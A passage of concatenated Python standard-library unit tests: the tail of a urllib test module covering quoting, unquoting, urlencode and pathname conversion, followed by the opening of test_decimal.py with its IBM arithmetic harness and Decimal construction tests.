report = [] def hooktester(count, block_size, total_size, _report=report): _report.append((count, block_size, total_size)) srcFileName = self.createNewTempFile("x" * 8193) urllib.urlretrieve(self.constructLocalFileUrl(srcFileName), test_support.TESTFN, hooktester) self.assertEqual(len(report), 3) self.assertEqual(report[0][1], 8192) self.assertEqual(report[0][2], 8193) class QuotingTests(unittest.TestCase): """Tests for urllib.quote() and urllib.quote_plus() According to RFC 2396 ("Uniform Resource Identifiers), to escape a character you write it as '%' + <2 character US-ASCII hex value>. The Python code of ``'%' + hex(ord(<character>))[2:]`` escapes a character properly. Case does not matter on the hex letters. The various character sets specified are: Reserved characters : ";/?:@&=+$," Have special meaning in URIs and must be escaped if not being used for their special meaning Data characters : letters, digits, and "-_.!~*'()" Unreserved and do not need to be escaped; can be, though, if desired Control characters : 0x00 - 0x1F, 0x7F Have no use in URIs so must be escaped space : 0x20 Must be escaped Delimiters : '<>#%"' Must be escaped Unwise : "{}|\^[]`" Must be escaped """ def test_never_quote(self): # Make sure quote() does not quote letters, digits, and "_,.-" do_not_quote = '' .join(["ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz", "0123456789", "_.-"]) result = urllib.quote(do_not_quote) self.assertEqual(do_not_quote, result, "using quote(): %s != %s" % (do_not_quote, result)) result = urllib.quote_plus(do_not_quote) self.assertEqual(do_not_quote, result, "using quote_plus(): %s != %s" % (do_not_quote, result)) def test_default_safe(self): # Test '/' is default value for 'safe' parameter self.assertEqual(urllib.quote.func_defaults[0], '/') def test_safe(self): # Test setting 'safe' parameter does what it should do quote_by_default = "<>" result = urllib.quote(quote_by_default, safe=quote_by_default) self.assertEqual(quote_by_default, result, "using quote(): %s != %s" % (quote_by_default, result)) result = urllib.quote_plus(quote_by_default, safe=quote_by_default) self.assertEqual(quote_by_default, result, "using quote_plus(): %s != %s" % (quote_by_default, result)) def test_default_quoting(self): # Make sure all characters that should be quoted are by default sans # space (separate test for that). should_quote = [chr(num) for num in range(32)] # For 0x00 - 0x1F should_quote.append('<>#%"{}|\^[]`') should_quote.append(chr(127)) # For 0x7F should_quote = ''.join(should_quote) for char in should_quote: result = urllib.quote(char) self.assertEqual(hexescape(char), result, "using quote(): %s should be escaped to %s, not %s" % (char, hexescape(char), result)) result = urllib.quote_plus(char) self.assertEqual(hexescape(char), result, "using quote_plus(): " "%s should be escapes to %s, not %s" % (char, hexescape(char), result)) del should_quote partial_quote = "ab[]cd" expected = "ab%5B%5Dcd" result = urllib.quote(partial_quote) self.assertEqual(expected, result, "using quote(): %s != %s" % (expected, result)) self.assertEqual(expected, result, "using quote_plus(): %s != %s" % (expected, result)) self.assertRaises(TypeError, urllib.quote, None) def test_quoting_space(self): # Make sure quote() and quote_plus() handle spaces as specified in # their unique way result = urllib.quote(' ') self.assertEqual(result, hexescape(' '), "using quote(): %s != %s" % (result, hexescape(' '))) result = urllib.quote_plus(' ') self.assertEqual(result, '+', "using quote_plus(): %s != +" % result) given = "a b cd e f" expect = given.replace(' ', hexescape(' ')) result = urllib.quote(given) self.assertEqual(expect, result, "using quote(): %s != %s" % (expect, result)) expect = given.replace(' ', '+') result = urllib.quote_plus(given) self.assertEqual(expect, result, "using quote_plus(): %s != %s" % (expect, result)) def test_quoting_plus(self): self.assertEqual(urllib.quote_plus('alpha+beta gamma'), 'alpha%2Bbeta+gamma') self.assertEqual(urllib.quote_plus('alpha+beta gamma', '+'), 'alpha+beta+gamma') class UnquotingTests(unittest.TestCase): """Tests for unquote() and unquote_plus() See the doc string for quoting_Tests for details on quoting and such. """ def test_unquoting(self): # Make sure unquoting of all ASCII values works escape_list = [] for num in range(128): given = hexescape(chr(num)) expect = chr(num) result = urllib.unquote(given) self.assertEqual(expect, result, "using unquote(): %s != %s" % (expect, result)) result = urllib.unquote_plus(given) self.assertEqual(expect, result, "using unquote_plus(): %s != %s" % (expect, result)) escape_list.append(given) escape_string = ''.join(escape_list) del escape_list result = urllib.unquote(escape_string) self.assertEqual(result.count('%'), 1, "using quote(): not all characters escaped; %s" % result) result = urllib.unquote(escape_string) self.assertEqual(result.count('%'), 1, "using unquote(): not all characters escaped: " "%s" % result) def test_unquoting_badpercent(self): # Test unquoting on bad percent-escapes given = '%xab' expect = given result = urllib.unquote(given) self.assertEqual(expect, result, "using unquote(): %r != %r" % (expect, result)) given = '%x' expect = given result = urllib.unquote(given) self.assertEqual(expect, result, "using unquote(): %r != %r" % (expect, result)) given = '%' expect = given result = urllib.unquote(given) self.assertEqual(expect, result, "using unquote(): %r != %r" % (expect, result)) def test_unquoting_mixed_case(self): # Test unquoting on mixed-case hex digits in the percent-escapes given = '%Ab%eA' expect = '\xab\xea' result = urllib.unquote(given) self.assertEqual(expect, result, "using unquote(): %r != %r" % (expect, result)) def test_unquoting_parts(self): # Make sure unquoting works when have non-quoted characters # interspersed given = 'ab%sd' % hexescape('c') expect = "abcd" result = urllib.unquote(given) self.assertEqual(expect, result, "using quote(): %s != %s" % (expect, result)) result = urllib.unquote_plus(given) self.assertEqual(expect, result, "using unquote_plus(): %s != %s" % (expect, result)) def test_unquoting_plus(self): # Test difference between unquote() and unquote_plus() given = "are+there+spaces..." expect = given result = urllib.unquote(given) self.assertEqual(expect, result, "using unquote(): %s != %s" % (expect, result)) expect = given.replace('+', ' ') result = urllib.unquote_plus(given) self.assertEqual(expect, result, "using unquote_plus(): %s != %s" % (expect, result)) def test_unquote_with_unicode(self): r = urllib.unquote(u'br%C3%BCckner_sapporo_20050930.doc') self.assertEqual(r, u'br\xc3\xbcckner_sapporo_20050930.doc') class urlencode_Tests(unittest.TestCase): """Tests for urlencode()""" def help_inputtype(self, given, test_type): """Helper method for testing different input types. 'given' must lead to only the pairs: * 1st, 1 * 2nd, 2 * 3rd, 3 Test cannot assume anything about order. Docs make no guarantee and have possible dictionary input. """ expect_somewhere = ["1st=1", "2nd=2", "3rd=3"] result = urllib.urlencode(given) for expected in expect_somewhere: self.assertIn(expected, result, "testing %s: %s not found in %s" % (test_type, expected, result)) self.assertEqual(result.count('&'), 2, "testing %s: expected 2 '&'s; got %s" % (test_type, result.count('&'))) amp_location = result.index('&') on_amp_left = result[amp_location - 1] on_amp_right = result[amp_location + 1] self.assertTrue(on_amp_left.isdigit() and on_amp_right.isdigit(), "testing %s: '&' not located in proper place in %s" % (test_type, result)) self.assertEqual(len(result), (5 * 3) + 2, #5 chars per thing and amps "testing %s: " "unexpected number of characters: %s != %s" % (test_type, len(result), (5 * 3) + 2)) def test_using_mapping(self): # Test passing in a mapping object as an argument. self.help_inputtype({"1st":'1', "2nd":'2', "3rd":'3'}, "using dict as input type") def test_using_sequence(self): # Test passing in a sequence of two-item sequences as an argument. self.help_inputtype([('1st', '1'), ('2nd', '2'), ('3rd', '3')], "using sequence of two-item tuples as input") def test_quoting(self): # Make sure keys and values are quoted using quote_plus() given = {"&":"="} expect = "%s=%s" % (hexescape('&'), hexescape('=')) result = urllib.urlencode(given) self.assertEqual(expect, result) given = {"key name":"A bunch of pluses"} expect = "key+name=A+bunch+of+pluses" result = urllib.urlencode(given) self.assertEqual(expect, result) def test_doseq(self): # Test that passing True for 'doseq' parameter works correctly given = {'sequence':['1', '2', '3']} expect = "sequence=%s" % urllib.quote_plus(str(['1', '2', '3'])) result = urllib.urlencode(given) self.assertEqual(expect, result) result = urllib.urlencode(given, True) for value in given["sequence"]: expect = "sequence=%s" % value self.assertIn(expect, result) self.assertEqual(result.count('&'), 2, "Expected 2 '&'s, got %s" % result.count('&')) class Pathname_Tests(unittest.TestCase): """Test pathname2url() and url2pathname()""" def test_basic(self): # Make sure simple tests pass expected_path = os.path.join("parts", "of", "a", "path") expected_url = "parts/of/a/path" result = urllib.pathname2url(expected_path) self.assertEqual(expected_url, result, "pathname2url() failed; %s != %s" % (result, expected_url)) result = urllib.url2pathname(expected_url) self.assertEqual(expected_path, result, "url2pathame() failed; %s != %s" % (result, expected_path)) def test_quoting(self): # Test automatic quoting and unquoting works for pathnam2url() and # url2pathname() respectively given = os.path.join("needs", "quot=ing", "here") expect = "needs/%s/here" % urllib.quote("quot=ing") result = urllib.pathname2url(given) self.assertEqual(expect, result, "pathname2url() failed; %s != %s" % (expect, result)) expect = given result = urllib.url2pathname(result) self.assertEqual(expect, result, "url2pathname() failed; %s != %s" % (expect, result)) given = os.path.join("make sure", "using_quote") expect = "%s/using_quote" % urllib.quote("make sure") result = urllib.pathname2url(given) self.assertEqual(expect, result, "pathname2url() failed; %s != %s" % (expect, result)) given = "make+sure/using_unquote" expect = os.path.join("make+sure", "using_unquote") result = urllib.url2pathname(given) self.assertEqual(expect, result, "url2pathname() failed; %s != %s" % (expect, result)) class Utility_Tests(unittest.TestCase): """Testcase to test the various utility functions in the urllib.""" def test_splitpasswd(self): """Some of the password examples are not sensible, but it is added to confirming to RFC2617 and addressing issue4675. """ self.assertEqual(('user', 'ab'),urllib.splitpasswd('user:ab')) self.assertEqual(('user', 'a\nb'),urllib.splitpasswd('user:a\nb')) self.assertEqual(('user', 'a\tb'),urllib.splitpasswd('user:a\tb')) self.assertEqual(('user', 'a\rb'),urllib.splitpasswd('user:a\rb')) self.assertEqual(('user', 'a\fb'),urllib.splitpasswd('user:a\fb')) self.assertEqual(('user', 'a\vb'),urllib.splitpasswd('user:a\vb')) self.assertEqual(('user', 'a:b'),urllib.splitpasswd('user:a:b')) class URLopener_Tests(unittest.TestCase): """Testcase to test the open method of URLopener class.""" def test_quoted_open(self): class DummyURLopener(urllib.URLopener): def open_spam(self, url): return url self.assertEqual(DummyURLopener().open( 'spam://example/ /'),'//example/%20/') # test the safe characters are not quoted by urlopen self.assertEqual(DummyURLopener().open( "spam://c:|windows%/:=&?~#+!$,;'@()*[]|/path/"), "//c:|windows%/:=&?~#+!$,;'@()*[]|/path/") # Just commented them out. # Can't really tell why keep failing in windows and sparc. # Everywhere else they work ok, but on those machines, someteimes # fail in one of the tests, sometimes in other. I have a linux, and # the tests go ok. # If anybody has one of the problematic enviroments, please help! # . Facundo # # def server(evt): # import socket, time # serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # serv.settimeout(3) # serv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # serv.bind(("", 9093)) # serv.listen(5) # try: # conn, addr = serv.accept() # conn.send("1 Hola mundo\n") # cantdata = 0 # while cantdata < 13: # data = conn.recv(13-cantdata) # cantdata += len(data) # time.sleep(.3) # conn.send("2 No more lines\n") # conn.close() # except socket.timeout: # pass # finally: # serv.close() # evt.set() # # class FTPWrapperTests(unittest.TestCase): # # def setUp(self): # import ftplib, time, threading # ftplib.FTP.port = 9093 # self.evt = threading.Event() # threading.Thread(target=server, args=(self.evt,)).start() # time.sleep(.1) # # def tearDown(self): # self.evt.wait() # # def testBasic(self): # # connects # ftp = urllib.ftpwrapper("myuser", "mypass", "localhost", 9093, []) # ftp.close() # # def testTimeoutNone(self): # # global default timeout is ignored # import socket # self.assertTrue(socket.getdefaulttimeout() is None) # socket.setdefaulttimeout(30) # try: # ftp = urllib.ftpwrapper("myuser", "mypass", "localhost", 9093, []) # finally: # socket.setdefaulttimeout(None) # self.assertEqual(ftp.ftp.sock.gettimeout(), 30) # ftp.close() # # def testTimeoutDefault(self): # # global default timeout is used # import socket # self.assertTrue(socket.getdefaulttimeout() is None) # socket.setdefaulttimeout(30) # try: # ftp = urllib.ftpwrapper("myuser", "mypass", "localhost", 9093, []) # finally: # socket.setdefaulttimeout(None) # self.assertEqual(ftp.ftp.sock.gettimeout(), 30) # ftp.close() # # def testTimeoutValue(self): # ftp = urllib.ftpwrapper("myuser", "mypass", "localhost", 9093, [], # timeout=30) # self.assertEqual(ftp.ftp.sock.gettimeout(), 30) # ftp.close() def test_main(): import warnings with warnings.catch_warnings(): warnings.filterwarnings('ignore', ".*urllib\.urlopen.*Python 3.0", DeprecationWarning) test_support.run_unittest( urlopen_FileTests, urlopen_HttpTests, urlretrieve_FileTests, ProxyTests, QuotingTests, UnquotingTests, urlencode_Tests, Pathname_Tests, Utility_Tests, URLopener_Tests, #FTPWrapperTests, ) if __name__ == '__main__': test_main()
test_decimal.py
# Copyright (c) 2004 Python Software Foundation. # All rights reserved. # Written by Eric Price <eprice at tjhsst.edu> # and Facundo Batista <facundo at taniquetil.com.ar> # and Raymond Hettinger <python at rcn.com> # and Aahz (aahz at pobox.com) # and Tim Peters """ These are the test cases for the Decimal module. There are two groups of tests, Arithmetic and Behaviour. The former test the Decimal arithmetic using the tests provided by Mike Cowlishaw. The latter test the pythonic behaviour according to PEP 327. Cowlishaw's tests can be downloaded from: http://speleotrove.com/decimal/dectest.zip This test module can be called from command line with one parameter (Arithmetic or Behaviour) to test each part, or without parameter to test both parts. If you're working through IDLE, you can import this test module and call test_main() with the corresponding argument. """ import math import os, sys import operator import warnings import pickle, copy import unittest import numbers import locale from test.support import (run_unittest, run_doctest, is_resource_enabled, requires_IEEE_754, requires_docstrings, requires_legacy_unicode_capi, check_sanitizer) from test.support import (TestFailed, run_with_locale, cpython_only, darwin_malloc_err_warning) from test.support.import_helper import import_fresh_module from test.support import warnings_helper import random import inspect import threading if sys.platform == 'darwin': darwin_malloc_err_warning('test_decimal') C = import_fresh_module('decimal', fresh=['_decimal']) P = import_fresh_module('decimal', blocked=['_decimal']) import decimal as orig_sys_decimal # fractions module must import the correct decimal module. cfractions = import_fresh_module('fractions', fresh=['fractions']) sys.modules['decimal'] = P pfractions = import_fresh_module('fractions', fresh=['fractions']) sys.modules['decimal'] = C fractions = {C:cfractions, P:pfractions} sys.modules['decimal'] = orig_sys_decimal # Useful Test Constant Signals = { C: tuple(C.getcontext().flags.keys()) if C else None, P: tuple(P.getcontext().flags.keys()) } # Signals ordered with respect to precedence: when an operation # produces multiple signals, signals occurring later in the list # should be handled before those occurring earlier in the list. OrderedSignals = { C: [C.Clamped, C.Rounded, C.Inexact, C.Subnormal, C.Underflow, C.Overflow, C.DivisionByZero, C.InvalidOperation, C.FloatOperation] if C else None, P: [P.Clamped, P.Rounded, P.Inexact, P.Subnormal, P.Underflow, P.Overflow, P.DivisionByZero, P.InvalidOperation, P.FloatOperation] } def assert_signals(cls, context, attr, expected): d = getattr(context, attr) cls.assertTrue(all(d[s] if s in expected else not d[s] for s in d)) ROUND_UP = P.ROUND_UP ROUND_DOWN = P.ROUND_DOWN ROUND_CEILING = P.ROUND_CEILING ROUND_FLOOR = P.ROUND_FLOOR ROUND_HALF_UP = P.ROUND_HALF_UP ROUND_HALF_DOWN = P.ROUND_HALF_DOWN ROUND_HALF_EVEN = P.ROUND_HALF_EVEN ROUND_05UP = P.ROUND_05UP RoundingModes = [ ROUND_UP, ROUND_DOWN, ROUND_CEILING, ROUND_FLOOR, ROUND_HALF_UP, ROUND_HALF_DOWN, ROUND_HALF_EVEN, ROUND_05UP ] # Tests are built around these assumed context defaults. # test_main() restores the original context. ORIGINAL_CONTEXT = { C: C.getcontext().copy() if C else None, P: P.getcontext().copy() } def init(m): if not m: return DefaultTestContext = m.Context( prec=9, rounding=ROUND_HALF_EVEN, traps=dict.fromkeys(Signals[m], 0) ) m.setcontext(DefaultTestContext) TESTDATADIR = 'decimaltestdata' if __name__ == '__main__': file = sys.argv[0] else: file = __file__ testdir = os.path.dirname(file) or os.curdir directory = testdir + os.sep + TESTDATADIR + os.sep skip_expected = not os.path.isdir(directory) # Make sure it actually raises errors when not expected and caught in flags # Slower, since it runs some things several times. EXTENDEDERRORTEST = False # Test extra functionality in the C version (-DEXTRA_FUNCTIONALITY). EXTRA_FUNCTIONALITY = True if hasattr(C, 'DecClamped') else False requires_extra_functionality = unittest.skipUnless( EXTRA_FUNCTIONALITY, "test requires build with -DEXTRA_FUNCTIONALITY") skip_if_extra_functionality = unittest.skipIf( EXTRA_FUNCTIONALITY, "test requires regular build") class IBMTestCases(unittest.TestCase): """Class which tests the Decimal class against the IBM test cases.""" def setUp(self): self.context = self.decimal.Context() self.readcontext = self.decimal.Context() self.ignore_list = ['#'] # List of individual .decTest test ids that correspond to tests that # we're skipping for one reason or another. self.skipped_test_ids = set([ # Skip implementation-specific scaleb tests. 'scbx164', 'scbx165', # For some operations (currently exp, ln, log10, power), the decNumber # reference implementation imposes additional restrictions on the context # and operands. These restrictions are not part of the specification; # however, the effect of these restrictions does show up in some of the # testcases. We skip testcases that violate these restrictions, since # Decimal behaves differently from decNumber for these testcases so these # testcases would otherwise fail. 'expx901', 'expx902', 'expx903', 'expx905', 'lnx901', 'lnx902', 'lnx903', 'lnx905', 'logx901', 'logx902', 'logx903', 'logx905', 'powx1183', 'powx1184', 'powx4001', 'powx4002', 'powx4003', 'powx4005', 'powx4008', 'powx4010', 'powx4012', 'powx4014', ]) if self.decimal == C: # status has additional Subnormal, Underflow self.skipped_test_ids.add('pwsx803') self.skipped_test_ids.add('pwsx805') # Correct rounding (skipped for decNumber, too) self.skipped_test_ids.add('powx4302') self.skipped_test_ids.add('powx4303') self.skipped_test_ids.add('powx4342') self.skipped_test_ids.add('powx4343') # http://bugs.python.org/issue7049 self.skipped_test_ids.add('pwmx325') self.skipped_test_ids.add('pwmx326') # Map test directives to setter functions. self.ChangeDict = {'precision' : self.change_precision, 'rounding' : self.change_rounding_method, 'maxexponent' : self.change_max_exponent, 'minexponent' : self.change_min_exponent, 'clamp' : self.change_clamp} # Name adapter to be able to change the Decimal and Context # interface without changing the test files from Cowlishaw. self.NameAdapter = {'and':'logical_and', 'apply':'_apply', 'class':'number_class', 'comparesig':'compare_signal', 'comparetotal':'compare_total', 'comparetotmag':'compare_total_mag', 'copy':'copy_decimal', 'copyabs':'copy_abs', 'copynegate':'copy_negate', 'copysign':'copy_sign', 'divideint':'divide_int', 'invert':'logical_invert', 'iscanonical':'is_canonical', 'isfinite':'is_finite', 'isinfinite':'is_infinite', 'isnan':'is_nan', 'isnormal':'is_normal', 'isqnan':'is_qnan', 'issigned':'is_signed', 'issnan':'is_snan', 'issubnormal':'is_subnormal', 'iszero':'is_zero', 'maxmag':'max_mag', 'minmag':'min_mag', 'nextminus':'next_minus', 'nextplus':'next_plus', 'nexttoward':'next_toward', 'or':'logical_or', 'reduce':'normalize', 'remaindernear':'remainder_near', 'samequantum':'same_quantum', 'squareroot':'sqrt', 'toeng':'to_eng_string', 'tointegral':'to_integral_value', 'tointegralx':'to_integral_exact', 'tosci':'to_sci_string', 'xor':'logical_xor'} # Map test-case names to roundings. self.RoundingDict = {'ceiling' : ROUND_CEILING, 'down' : ROUND_DOWN, 'floor' : ROUND_FLOOR, 'half_down' : ROUND_HALF_DOWN, 'half_even' : ROUND_HALF_EVEN, 'half_up' : ROUND_HALF_UP, 'up' : ROUND_UP, '05up' : ROUND_05UP} # Map the test cases' error names to the actual errors. self.ErrorNames = {'clamped' : self.decimal.Clamped, 'conversion_syntax' : self.decimal.InvalidOperation, 'division_by_zero' : self.decimal.DivisionByZero, 'division_impossible' : self.decimal.InvalidOperation, 'division_undefined' : self.decimal.InvalidOperation, 'inexact' : self.decimal.Inexact, 'invalid_context' : self.decimal.InvalidOperation, 'invalid_operation' : self.decimal.InvalidOperation, 'overflow' : self.decimal.Overflow, 'rounded' : self.decimal.Rounded, 'subnormal' : self.decimal.Subnormal, 'underflow' : self.decimal.Underflow} # The following functions return True/False rather than a # Decimal instance. self.LogicalFunctions = ('is_canonical', 'is_finite', 'is_infinite', 'is_nan', 'is_normal', 'is_qnan', 'is_signed', 'is_snan', 'is_subnormal', 'is_zero', 'same_quantum') def read_unlimited(self, v, context): """Work around the limitations of the 32-bit _decimal version. The guaranteed maximum values for prec, Emax etc. are 425000000, but higher values usually work, except for rare corner cases. In particular, all of the IBM tests pass with maximum values of 1070000000.""" if self.decimal == C and self.decimal.MAX_EMAX == 425000000: self.readcontext._unsafe_setprec(1070000000) self.readcontext._unsafe_setemax(1070000000) self.readcontext._unsafe_setemin(-1070000000) return self.readcontext.create_decimal(v) else: return self.decimal.Decimal(v, context) def eval_file(self, file): global skip_expected if skip_expected: raise unittest.SkipTest with open(file, encoding="utf-8") as f: for line in f: line = line.replace('\r\n', '').replace('\n', '') #print line try: t = self.eval_line(line) except self.decimal.DecimalException as exception: #Exception raised where there shouldn't have been one. self.fail('Exception "'+exception.__class__.__name__ + '" raised on line '+line) def eval_line(self, s): if s.find(' -> ') >= 0 and s[:2] != '--' and not s.startswith(' --'): s = (s.split('->')[0] + '->' + s.split('->')[1].split('--')[0]).strip() else: s = s.split('--')[0].strip() for ignore in self.ignore_list: if s.find(ignore) >= 0: #print s.split()[0], 'NotImplemented--', ignore return if not s: return elif ':' in s: return self.eval_directive(s) else: return self.eval_equation(s) def eval_directive(self, s): funct, value = (x.strip().lower() for x in s.split(':')) if funct == 'rounding': value = self.RoundingDict[value] else: try: value = int(value) except ValueError: pass funct = self.ChangeDict.get(funct, (lambda *args: None)) funct(value) def eval_equation(self, s): if not TEST_ALL and random.random() < 0.90: return self.context.clear_flags() try: Sides = s.split('->') L = Sides[0].strip().split() id = L[0] if DEBUG: print("Test ", id, end=" ") funct = L[1].lower() valstemp = L[2:] L = Sides[1].strip().split() ans = L[0] exceptions = L[1:] except (TypeError, AttributeError, IndexError): raise self.decimal.InvalidOperation def FixQuotes(val): val = val.replace("''", 'SingleQuote').replace('""', 'DoubleQuote') val = val.replace("'", '').replace('"', '') val = val.replace('SingleQuote', "'").replace('DoubleQuote', '"') return val if id in self.skipped_test_ids: return fname = self.NameAdapter.get(funct, funct) if fname == 'rescale': return funct = getattr(self.context, fname) vals = [] conglomerate = '' quote = 0 theirexceptions = [self.ErrorNames[x.lower()] for x in exceptions] for exception in Signals[self.decimal]: self.context.traps[exception] = 1 #Catch these bugs... for exception in theirexceptions: self.context.traps[exception] = 0 for i, val in enumerate(valstemp): if val.count("'") % 2 == 1: quote = 1 - quote if quote: conglomerate = conglomerate + ' ' + val continue else: val = conglomerate + val conglomerate = '' v = FixQuotes(val) if fname in ('to_sci_string', 'to_eng_string'): if EXTENDEDERRORTEST: for error in theirexceptions: self.context.traps[error] = 1 try: funct(self.context.create_decimal(v)) except error: pass except Signals[self.decimal] as e: self.fail("Raised %s in %s when %s disabled" % \ (e, s, error)) else: self.fail("Did not raise %s in %s" % (error, s)) self.context.traps[error] = 0 v = self.context.create_decimal(v) else: v = self.read_unlimited(v, self.context) vals.append(v) ans = FixQuotes(ans) if EXTENDEDERRORTEST and fname not in ('to_sci_string', 'to_eng_string'): for error in theirexceptions: self.context.traps[error] = 1 try: funct(*vals) except error: pass except Signals[self.decimal] as e: self.fail("Raised %s in %s when %s disabled" % \ (e, s, error)) else: self.fail("Did not raise %s in %s" % (error, s)) self.context.traps[error] = 0 # as above, but add traps cumulatively, to check precedence ordered_errors = [e for e in OrderedSignals[self.decimal] if e in theirexceptions] for error in ordered_errors: self.context.traps[error] = 1 try: funct(*vals) except error: pass except Signals[self.decimal] as e: self.fail("Raised %s in %s; expected %s" % (type(e), s, error)) else: self.fail("Did not raise %s in %s" % (error, s)) # reset traps for error in ordered_errors: self.context.traps[error] = 0 if DEBUG: print("--", self.context) try: result = str(funct(*vals)) if fname in self.LogicalFunctions: result = str(int(eval(result))) # 'True', 'False' -> '1', '0' except Signals[self.decimal] as error: self.fail("Raised %s in %s" % (error, s)) except: #Catch any error long enough to state the test case. print("ERROR:", s) raise myexceptions = self.getexceptions() myexceptions.sort(key=repr) theirexceptions.sort(key=repr) self.assertEqual(result, ans, 'Incorrect answer for ' + s + ' -- got ' + result) self.assertEqual(myexceptions, theirexceptions, 'Incorrect flags set in ' + s + ' -- got ' + str(myexceptions)) def getexceptions(self): return [e for e in Signals[self.decimal] if self.context.flags[e]] def change_precision(self, prec): if self.decimal == C and self.decimal.MAX_PREC == 425000000: self.context._unsafe_setprec(prec) else: self.context.prec = prec def change_rounding_method(self, rounding): self.context.rounding = rounding def change_min_exponent(self, exp): if self.decimal == C and self.decimal.MAX_PREC == 425000000: self.context._unsafe_setemin(exp) else: self.context.Emin = exp def change_max_exponent(self, exp): if self.decimal == C and self.decimal.MAX_PREC == 425000000: self.context._unsafe_setemax(exp) else: self.context.Emax = exp def change_clamp(self, clamp): self.context.clamp = clamp class CIBMTestCases(IBMTestCases): decimal = C class PyIBMTestCases(IBMTestCases): decimal = P # The following classes test the behaviour of Decimal according to PEP 327 class ExplicitConstructionTest(unittest.TestCase): '''Unit tests for Explicit Construction cases of Decimal.''' def test_explicit_empty(self): Decimal = self.decimal.Decimal self.assertEqual(Decimal(), Decimal("0")) def test_explicit_from_None(self): Decimal = self.decimal.Decimal self.assertRaises(TypeError, Decimal, None) def test_explicit_from_int(self): Decimal = self.decimal.Decimal #positive d = Decimal(45) self.assertEqual(str(d), '45') #very large positive d = Decimal(500000123) self.assertEqual(str(d), '500000123') #negative d = Decimal(-45) self.assertEqual(str(d), '-45') #zero d = Decimal(0) self.assertEqual(str(d), '0') # single word longs for n in range(0, 32): for sign in (-1, 1): for x in range(-5, 5): i = sign * (2**n + x) d = Decimal(i) self.assertEqual(str(d), str(i)) def test_explicit_from_string(self): Decimal = self.decimal.Decimal InvalidOperation = self.decimal.InvalidOperation localcontext = self.decimal.localcontext #empty self.assertEqual(str(Decimal('')), 'NaN') #int self.assertEqual(str(Decimal('45')), '45') #float self.assertEqual(str(Decimal('45.34')), '45.34') #engineer notation self.assertEqual(str(Decimal('45e2')), '4.5E+3') #just not a number self.assertEqual(str(Decimal('ugly')), 'NaN') #leading and trailing whitespace permitted self.assertEqual(str(Decimal('1.3E4 \n')), '1.3E+4') self.assertEqual(str(Decimal(' -7.89')), '-7.89') self.assertEqual(str(Decimal(" 3.45679 ")), '3.45679') # underscores self.assertEqual(str(Decimal('1_3.3e4_0')), '1.33E+41') self.assertEqual(str(Decimal('1_0_0_0')), '1000') # unicode whitespace for lead in ["", ' ', '\u00a0', '\u205f']: for trail in ["", ' ', '\u00a0', '\u205f']: self.assertEqual(str(Decimal(lead + '9.311E+28' + trail)), '9.311E+28') with localcontext() as c: c.traps[InvalidOperation] = True # Invalid string self.assertRaises(InvalidOperation, Decimal, "xyz") # Two arguments max self.assertRaises(TypeError, Decimal, "1234", "x", "y") # space within the numeric part self.assertRaises(InvalidOperation, Decimal, "1\u00a02\u00a03") self.assertRaises(InvalidOperation, Decimal, "\u00a01\u00a02\u00a0") # unicode whitespace self.assertRaises(InvalidOperation, Decimal, "\u00a0") self.assertRaises(InvalidOperation, Decimal, "\u00a0\u00a0") # embedded NUL self.assertRaises(InvalidOperation, Decimal, "12\u00003") # underscores don't prevent errors self.assertRaises(InvalidOperation, Decimal, "1_2_\u00003") @cpython_only @requires_legacy_unicode_capi @warnings_helper.ignore_warnings(category=DeprecationWarning) def test_from_legacy_strings(self): import _testcapi Decimal = self.decimal.Decimal context = self.decimal.Context() s = _testcapi.unicode_legacy_string('9.999999') self.assertEqual(str(Decimal(s)), '9.999999') self.assertEqual(str(context.create_decimal(s)), '9.999999') def test_explicit_from_tuples(self): Decimal = self.decimal.Decimal #zero d = Decimal( (0, (0,), 0) ) self.assertEqual(str(d), '0') #int d = Decimal( (1, (4, 5), 0) ) self.assertEqual(str(d), '-45') #float d = Decimal( (0, (4, 5, 3, 4), -2) ) self.assertEqual(str(d), '45.34') #weird d = Decimal( (1, (4, 3, 4, 9, 1, 3, 5, 3, 4), -25) ) self.assertEqual(str(d), '-4.34913534E-17') #inf d = Decimal( (0, (), "F") ) self.assertEqual(str(d), 'Infinity') #wrong number of items self.assertRaises(ValueError, Decimal, (1, (4, 3, 4, 9, 1)) ) #bad sign self.assertRaises(ValueError, Decimal, (8, (4, 3, 4, 9, 1), 2) ) self.assertRaises(ValueError, Decimal, (0., (4, 3, 4, 9, 1), 2) ) self.assertRaises(ValueError, Decimal, (Decimal(1), (4, 3, 4, 9, 1), 2)) #bad exp self.assertRaises(ValueError, Decimal, (1, (4, 3, 4, 9, 1), 'wrong!') ) self.assertRaises(ValueError, Decimal, (1, (4, 3, 4, 9, 1), 0.) ) self.assertRaises(ValueError, Decimal, (1, (4, 3, 4, 9, 1), '1') ) #bad coefficients self.assertRaises(ValueError, Decimal, (1, "xyz", 2) ) self.assertRaises(ValueError, Decimal, (1, (4, 3, 4, None, 1), 2) ) self.assertRaises(ValueError, Decimal, (1, (4, -3, 4, 9, 1), 2) ) self.assertRaises(ValueError, Decimal, (1, (4, 10, 4, 9, 1), 2) ) self.assertRaises(ValueError, Decimal, (1, (4, 3, 4, 'a', 1), 2) ) def test_explicit_from_list(self): Decimal = self.decimal.Decimal d = Decimal([0, [0], 0]) self.assertEqual(str(d), '0') d = Decimal([1, [4, 3, 4, 9, 1, 3, 5, 3, 4], -25]) self.assertEqual(str(d), '-4.34913534E-17') d = Decimal([1, (4, 3, 4, 9, 1, 3, 5, 3, 4), -25]) self.assertEqual(str(d), '-4.34913534E-17') d = Decimal((1, [4, 3, 4, 9, 1, 3, 5, 3, 4], -25)) self.assertEqual(str(d), '-4.34913534E-17') def test_explicit_from_bool(self): Decimal = self.decimal.Decimal self.assertIs(bool(Decimal(0)), False) self.assertIs(bool(Decimal(1)), True) self.assertEqual(Decimal(False), Decimal(0)) self.assertEqual(Decimal(True), Decimal(1)) def test_explicit_from_Decimal(self): Decimal = self.decimal.Decimal #positive d = Decimal(45) e = Decimal(d) self.assertEqual(str(e), '45') #very large positive d = Decimal(500000123) e = Decimal(d) self.assertEqual(str(e), '500000123') #negative d = Decimal(-45) e = Decimal(d) self.assertEqual(str(e), '-45') #zero d = Decimal(0) e = Decimal(d) self.assertEqual(str(e), '0') @requires_IEEE_754 def test_explicit_from_float(self): Decimal = self.decimal.Decimal r = Decimal(0.1) self.assertEqual(type(r), Decimal) self.assertEqual(str(r), '0.1000000000000000055511151231257827021181583404541015625') 